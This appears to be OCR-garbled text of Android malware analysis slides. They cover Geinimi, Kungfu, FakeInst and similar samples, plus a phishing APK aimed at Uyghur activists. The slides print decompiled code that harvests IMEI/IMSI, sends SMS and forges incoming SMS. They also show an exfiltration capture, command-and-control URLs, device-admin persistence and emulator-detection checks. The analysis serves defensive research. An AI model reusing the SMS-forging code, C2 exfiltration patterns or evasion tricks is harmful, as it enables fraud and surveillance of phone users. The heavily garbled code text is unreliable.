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™ @ Java Decompiler - m.class

B & & ¢
claud@claud-pc: ~fandroid/analysis/geinimi_apk/apktool
classes.dex.dex2jarjar = = -
v i com 4| m.class rs
¥ B8 geinimi {
> da return 17301647;
¥ Hads
> Advertisable . i
. R public final Intent f()
» {
b StringBuilder localStringBuilderl = new StringBuilder();
» c string strl = j.b;
» d stringBuilder localStringBuilder2 = localStringBuilderl.append(strl);
» o St_rmg strz_: a["§msitoiph0ne");
. uri localUri = Uri.parse(str2);
[ f Intent localIntentl = new Intent["andrnldJntent‘a(tmn.SENDTd", locallri);
* Mg String str3 = a("smc_content");
3 h Intent localIntent2 = localIntentl.putExtra("sms_body", str3);
b [ ) return localIntentl;
* @
s k protected final String[] h{)
4 | {
> return this.b;
Ly n ) ¥
» o
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TelephonyManager localTelephonyManager = (IelephonyManager)localMyServicel.getSystemService (atrl):
String str2 = localTelephonyManager.getDeviceId():

this.imei = atr2;

String str3 = localTelephonyManager.getSubscriberId();

this.imsi = str3;

MyService localMy3ervicel = this;
String strl = "phone";

No. Time Source Destination Protocol Info
1 0.000000 192.168.10.130 61.183.9.167 TCP 49965 > http [SYN] Seq=0 Win=8192 Len=0 MS5=1460 WS=2 SACK_
2 0.009118 61.183.9.167 192.168.10.130 TCP http > 49965 [SYN, ACK] Seq=0 Ack=1 win=16384 Len=0 M55=14¢
3 0.009193 192.168.10.130 61.183.9.167 TCP 49965 > http [ACK] Seq=1 Ack=1 win=17280 Len=0
4 0.123191 192.168.10.130 61.183.9.167 HTTP POST /index.aspx?im=4673b678a2e9664e327871aee963d2cabc6fag:
5 0.153668 61.183.9.167 192.168.10.130 HTTP HTTP/1.1 200 oK (text/html)

&

Frame 4: 485 bytes on wire (3880 bits), 485 bytes captured (3880 bits)

Ethernet II, Src: IntelCor_91:1e:56 (00:21:5d:91:1e:56), Dst: Tp-LinkT_3a:e0:90 (94:0c:6d:3a:e0:90)

Internet Protocol, Src: 192.168.10.130 (192.168.10.130), Dst: 61.183.9.167 (61.183.9.167)

Transmission Control Protocol, Src Port: 49965 (49965), Dst Port: http (80), Seq: 1, Ack: 1, Len: 431

Hypertext Transfer Protocol

= POST /index. aspx"lnH673b678a2e9664e327871aee963d2cabc6fa920704e6c805el7fe784f71ff0c597890e151518f1fc0f6f5c60e43d5589‘

# [Expert Info (Chat/sequence): POST /index.aspx?im=4673b678a2e9664e327871aee963d2cabc6fa920704e6c805e17fe784F71ff0c5¢
Request Method: POST
Request URI: /index.aspx?im=4673b678a2e9664e327871aee963d2cabc6fad20704e6c805e17fe784f71ff0c597890e151618f1fcOf6f5cE
Request version: HTTP/1.1

uUser-Agent: J2ME/UCWEB7.4.0.57\r\n

Accept: application/vnd.wap.xhtml+xml,application/xml,text/vnd.wap.wml,text/html,application/xhtml+xml,image/jpeg;q=0.

content-Length: O\r\n

Host: adrd.taxuan.net\r\n

connection: Keep-Alive\r\n
\ oy o
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e kungfu
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¢ #3 google o= B} admogo
ssearch
aie - ® Receiver ¢ £ eguan

o- @ SearchService ¢ & state

Ler o- (& Dialog

o~ @ Utils & Receiver

o ® Dialog e (9 StateService
® GoogleSsearch o (& Utils

e st e = 1 11, 800, 5, ) 2,1,

http://search.gongfu-android.com:8511/search/getty.php
http://search.gongfu-android.com:8511/search/rpty.php
http://search.gongfu-android.com:8511/search/sayhi.php
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- HF com
E"EEI airpuh
{ EfR aa
: G- &
Ei‘EEl iozhu
: EE battery
i E-H3 quick_reboot
=8 izp
ElEE wviews
'6 IZFPDelegate

LoD IZPView

BRI

5 Tsearch - gong u-android.com 85 L1 /search/ savaiple. php
http://search.zs169.com:8511/search/ isavaible.php
http://search.zi18.com:8511/search/isavaible.php
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<imit> (IHiVunSohn/necFais fo/Applctiwi ty; IW
1D (Il javaeslang/ String: I W

ahPSis=d

iiKas
xasdhSY
<imit>(LThiesFPaemS3/Eeshoh/AppActiwity; IW
ahPSisd (ITL javaflans’ String: ?W

Sparklos (ljiavaslans/ String: JW

.
.
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mdS: SD22C8C 8B TC 2CEFEDS0F 1 SCS2EBETS0F mdS: 654DFCE 74404 1 3DEFCDO03SAFBECSS3EA
shal: ASASS5651ETDS2E1CSAO0SSAZF21DS04E0D21B6C02 shal: 6EFZ83TFAS485236A041C41447C3D86FYEOQOTE1DA
= Trojan/Android. FakeInst. b [pay. fral R TrojansaAndroid. FakeInst. blpay, fral
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Services.class @

if (this.task.equals("delivermsg”))

Intent intent = new Intent(); {
" " String str3 = local]SONObjectZ.getString("content");
intent.setClassName("com.android.mms", Intent localIntent3 = new Intent();
"com.android.mms.transaction. smsReceiverService "}; localIntent3. setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService");
" " locallntent3.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.setAction("android.provider.Telephony.SMS_RECEIVED"); Object[] arrayOfObjectd = new Object[1];
intent.putExtra ( "pdus", new Object “ { pdu ]}; array0fObject4[@] = Tools.hexStringToBytes(str3);
" . " localIntent3,putExtra("pdus”, array0fObject4);
intent -PUtEth‘ﬁ[ format E] 3EPP }; localIntent3.putExtra("format", "3gpp");

startService(localIntent3);
statistic(-400);
stopSelf();

return;

context.startService(intent);
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<service = 0 />
<receiver 0C11Co0" ="android ission.BIND_DEVICE_ADMIN">
<meta-data ="¢ d.app.device_ac ) clocc" /> f

EH —Ja »

@ D G d > é{%j:)j </activity>

1§ eX uar 7 <activity = ".cCoI0I00" ="singleTop" />
<intent-filter>

AT clini t IS Bh S fE
<action android:name="com.strain.admin.DEVICE_ADMIN_ENABLED" />
— S AXMLAR AR 7 B e B

<servi cek MainService" />

M) o Ve <receiver I00ICOcI">
@ ?/_{ﬂﬂy\:, ? Q;E&}E%% ) Ql)ﬂfﬁ% <intent-filter ="1000">
I — a 7 <action android:name="android.intent.acti OT_COMPLETED" />
N <action android:name="android.intent.acti QUICKBOOT_POWERON" />
ﬁl] ?‘FEZ <action android:name="android.intent.action.USER_PRESENT" />

</intent-filter>

H%

</receiver>

<receiver =" .ICcIIlo">
<intent-filter ="1000">
» S—t —fa —Fs ¢ . — . .
@ I é 35 leIl A) A) n N é & <action android:name="android.intent n. . TIME_SET" />
IN — l 7|< AN / [Ny <action android:name="android.intent.action.TIMEZONE_CHANGED" />
<action android:name="android.intent.action.TIME_CHANGED" />
43,17
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&' WUC’s Conference in Geneva - Mozilla Thunderbird =] |

fle Edt View Go Message OpenPGP Tools Help
2 GetMal - # write B chat & Address Book W Tag - L Deaypt =

cor I _* "] @ rev | @ romara| Facve| @ -

Subject WUC's Conference in Geneva 3:26PM
- I
] GthrAcors -

22 March 2013 World Uyghur Congress

In what was an unprecedented coming-together of leading Uyghur,
Mongolian, Tibetan and Chinese activists, as well as other leading
international experts, we were greatly humbled by the great enthusiasm,
contribution and desire from all in attendance to make this occasion
something meaningful, the outcome of which produced some concrete, —
action-orientated solutions to our shared grievances.The attachment is
a letter on behalf of WUC,UNPQ and STP.

|
DI @ 1 attachment: WUCS Conference.apk 219 (5 I & save |~

"8 | (G)o (S)ave (Clopy | /ﬂ
8 10:17em
WUC's Conference

o § in Geneva

Alarm Clock Calculator Camera On behﬂlf Of a” at
the Word Uyghur
Congress (WUC),

the Unrepresented
Nations and Peoples
Organization (UNPQ)
and the Society for
Threatened Peoples
(STP), Human

Rights in China:
Implications for

East Turkestan,
Tibet and

Southern Mongolia
In what was an
unprecedented

Email Gallery

R

skullkey

PRINFEIEH B2 835 : data/phone]3642390136045 857/ 0]
LT A ZE intentiri 7 (W BIREER)
action_|
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data__

HiAEEST |
LB PR FEEPT R R
#Fure

BATERER |
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o W

Narme Value Start Size Color Cemment
w struct header_item dex_header Ok 70h Fag: Bg|Dex file header
- struct dex_magic magic dex 035 Oh 8h Fa: Bg Magic value
uint checksum 1B06AZEBEN Bh “h Fag: Bg Alder32 checksum of rest of file
- SHAL signature[20] 4B2053E6CD4... |(Ch 14h Fag: Bg|/SHA-1 signature of rest of file
uint file_size 52356 20h 4k Fag: Bg|File size in bytes
uint header_size 46208 24h “h Fg: Bg Header size in bytes
uint endian_tag 12345678h 28h 4h Fa: Bg Endianness tag
uint link_size (o] 2Ch “h Fag: Bg|Size of link section
uint link_off [+] 30h 4k Fg: Bg | File offset of link section
uint map_off 52208 34h ah Fa: Bg|File offset of map list
uint string_ids_size 116 38h “4h Fa: Bg|Count of strings in the string ID list

231 g 3 4 5 & 7§ 8 39 2 b ¢ d 2 £
00000050R: O5 00 00 00 EC B2 00 00 <D 00 00 00 14 B2 00 00

Q0000060R: OS5 OO0 00 00 TC BE OO0 OO0 &8 10 00 00 1C BC OO0 OO0
Q0000070 :
Q0000080
Q0000090
Q0000 0a0h:
Q00000b0h:
Q0000 0cOh
Q00000d0h -
Q00000e0h:
Q00000 EOh
Q00001000 :
00000110k
Q00001200 :
Q0000130
00000140k :
00000150k :
00000160k
Q00001 T0h:
Q0000180
Q00001900 :
Q00001ladh:
Q00001 b0kh:
Q00001lcOh:
Q00001d0kh:
Q00001ledh:
Q00001 f0Oh:
OO0 00 =

... FE..M....2.
T -
—%E’?.%ﬁF"I%?

G %E % e %k % e %r % % e %w % e %r %e %e % e %r % % %r % Ve e % e
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E JBCCESF140EFFEED4B20D23830A25BFOC.F38COBOD
MR wS(C) 1ER(S) WEEs=(0) FEm(N)  #EEn(

AW 9 by pa

| EER | W6 =r=} ks =t

m || FECCESF140EFFEED4E20D2380A25BFACF

o

Ew5
S
. asseis
. META-INF
| res
|2 AndroidManifest.ml
| |classes.dex

L | resources.arsc

8 skullkey

= 1342430627780.apk - ‘hﬂu'inRA_

(R #(C) TR(S) WHEEE=(0) EFEIN)

E L BT

ELL)5 =55 e =

[E] 2| 1342430627780.apk - ZIP FEEET4, 886

e

. assets
L META-IMF
. res
|| domdj-1.6.1.jar
| AndroidManifest.xcml

| |classes.dex

classes.dex

oF =2
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£33 K-

E JBCCESF140EFFEED4B20D23830A25BFOC.F38COBOD
MR wS(C) 1ER(S) WEEs=(0) FEm(N)  #EEn(

AW 9 by pa

| EER | W6 =r=} ks =t

m || FECCESF140EFFEED4E20D2380A25BFACF

o

Ew5
S
. asseis
. META-INF
| res
|2 AndroidManifest.ml
| |classes.dex

L | resources.arsc

8 skullkey

= 1342430627780.apk - ‘hﬂu'inRA_

(R #(C) TR(S) WHEEE=(0) EFEIN)

E L BT

ELL)5 =55 e =

[E] 2| 1342430627780.apk - ZIP FEEET4, 886

e

. assets
L META-IMF
. res
|| domdj-1.6.1.jar
| AndroidManifest.xcml

| |classes.dex
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‘@006 Smishing Vulnerability in Multiple Android Platforms %

ol L2 .r.wwwcscncsuedlﬂ ilty/jiang/smishing.htm C Reader @

Smishing Vulnerability in Multlple Andrond Platforms (mcludmg
Gingerbread, Ice Cream Sandwich, and Jelly Bean)

By Xuxian Jiang, Associate Professor, Department of Computer Science, NC State University

While continuing our efforts on various smartphone-related research projects, we came across a smishing
(SMS-Phishing) vulnerability in popular Android platforms. This vulnerability allows a running app on an
Android phone to fake arbitrary SMS text messages, which will then be received by phone users. We believe
such a vulnerability can be readily exploited to launch various phishing attacks (e.g., [1], [2], and [3]).

One serious aspect of the vulnerability is that it does not require the (exploiting) app to request any permission
to launch the attack. (In other words, this can be characterized as a WRITE_SMS capability leak.) Another
serious aspect is that the vulnerability appears to be present in multiple Android platforms - in fact, because

A RO N 0.25K/s 7 .al ® 15:46

the vulnerability is cc d in the Android Open Source Project (or AOSP), we suspect it exists in all recent
a

Intent intent = new Intent();
intent.setClassName("com.android.mms",
“com.android.mms.transaction.SmsReceiverService");
intent.setAction{"android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format"”, “"3gpp");
context.startService(intent);

Services.class

if (this.task.equals("delivermsg"))

{
String str3 = localJSONObject2.getString("content");
Intent localIntent3 = new Intent();
localIntent3.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService");
localIntent3.setAction("android.provider.Telephony.SMS_RECEIVED");
Object[] arrayOfObject4 = new Object[1];
array0fObject4[0] = Tools.hexStringToBytes(str3);
localIntent3. putExtra("pdus”, arrayOfObjectd);
localIntent3.putExtra("format", "3gpp™);
startService(localIntent3);
statistic(-400);
stopSelf();
return;
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DexGuard

@ FE T clinitRfLHE
NS 5
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B 3

</activity>

<activity

<service ="

<receiver = ) " i | i )_DEVICE_ADMIN">
<meta-data = - C
<intent-filter>

<action android:name="com ain.admin N_ENABLED" />

</intent-filter>

</rece1ver>

fr

<receiver
<intent- Fllter =
<action android:name="android.intent. ion. COMPLETED" />
<action android:name="andr .inte io ( POWERON" />
<action android:name="android.intent.c .USER_PRESENT" />
</intent-filter>
</receiver>
<receiver =" ICcIIlo">
<intent-filter ="1000">
<action android:name="android.intent.action.TIME_SET" />
<action android:name="andr .intent ZONE_CHANGED" />
<action android:name="android.intent.action.TIME_CHANGED" />
43,17 60%
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w struct header_itern dex_header Oh 70h Fa: Bg|Dex file header
> struct dex_magic magic dex 035 Oh 8h Fg: Bg Magic value
uint checksum 1BOB6AZB6Hh 8h 4h Fa: Bg Alder32 checksum of rest of file
» SHA1 signature[20] 4B2053E6CD4... Ch 14h Fg: Bg|SHA—1 signature of rest of file
112bweﬁ uint file_size 52356 20h 4h Fg: Bg|File size i-l'l h_vtes
46208 2ah | 4h Fa: Bg Header size in bytes
Dex Header jeviseren gon lan loa parsamecesses
o 30h 4h Fg: Bg|File offset of link section
52208 34h ah Fa: Bg|File offset of map list
uint string_ids_size 116 38h 4h Fag: Bg|Count of strings in the string ID list
a[36]~a[39]
header_size
U3 7 37 § 5 & 7 8 9 = b o 4 e f
00000050h: D5 00 OO0 00 EC B8 00 00 4D 00 00 00 14 B9 00 00 ;
000DD0&0R: 05 00 00 00 7C BB 00 00 &8 10 00 00 1C BC 00 00 :
00000070R: CF 27 2D BO D4 85 FD 1% EF DS 46 84 OF 7C 25 BC ;
00000080n: :
00000090h: :
| | Last byte: 000000a0h: :
defines padding size 000000bOR: E
000000cOh: E 2] .2
000000d0h - : Tt RESY, - M
padding 000000=0k: P - e e 1 EEEEES
000D00EOh - Pl PriagE ==
00000100h: 507 ,80.>D 2
1 00000110h: :
00000120h: :
000001300 :
000001400 :
000001500 E .
00000160k : ZFEc?
00000170h: E
000D0180n: :
00000190h: :
0o00001a0n: :
000001k0h: :
000001cOn: :
000001d0h: :
000001e0h: E
000001£0R: :
NOOONN200hm = =
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const-string v, "co"

invoke—virtual {v0, vl1}, Ljava/lang/StringBuilder;->append(

move-result-object vl

const-string vZ, "m.ul"

invoke—virtual {vi, vZ}, Ljava/lang/StringBuilder;->append(

move-result-object vl

const-string vZ, "k.k."

invoke-virtual {'.-_, vZ}, Lia lan tr df
com.ulick:’IPUSM

mve—result—ob]ect vi

const-string vZ, "IPU"

invoke-virtual {vi, vZ}, Ljava/lang/StringBuilder;->append(

move-result-object i1

const-string vZ, "SM"
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Class.forName
newlnstance
getConstructors
getMethods
getDeclaredFields

==
a

B
B
in
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RVESUE icTask”HjrunTask 5
flg st 5 V5
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setAccessible

invoke
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public Boolean isContant (Context paramlConteXt)

{

String str = getMyPhoneNumber (paramContext):
if {3tr == null)
return Boolean.vaelu=eOdf{false) ;

ifj{atr.containa("1355™))

return Boolean.valueOf(true):
return Boolean.valu=0Qf({false):;

}

public boolean isEmulator()

{
return

H

(Build.MODEL.equala (“adk™))

(Build.MODEL.equals ("google adk™) )|
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move-result-wide vl

invoke-static {vl, v2}, Ljava/lang/String;->value=0f(D)Ljava/lang/String;
move-result-ocbject vl

sput—object vl, Lcom/airpush/android/SetPreferences;->lon:Ljava/lang/String;

.line 44&

iget-object vl, pl, Loom/airpush/android/SetPreferences;-»loc:landroid/location/Location;
invoke-virtual fvl},lLandrnidflncatinnﬁhncatinn;—>getLatitadE[}D |

move-result-wide vl

invoke-static {vl, vZ}, Lijava/lang/String;-»valueCf (D)Ljava/lang/String;
move-result-ocbject vl

sput—object vl, Lcom/airpush/android/SetPreferences;->lat:Ljava/lang/String;
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Host:
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HTTP/1.1 200 OK

Server: nginx/1.1.11
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Content-Type: text/html; charset=UTF-8
Content-Length: 603
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<?xml version="1.0" encoding="UTF-8"7>
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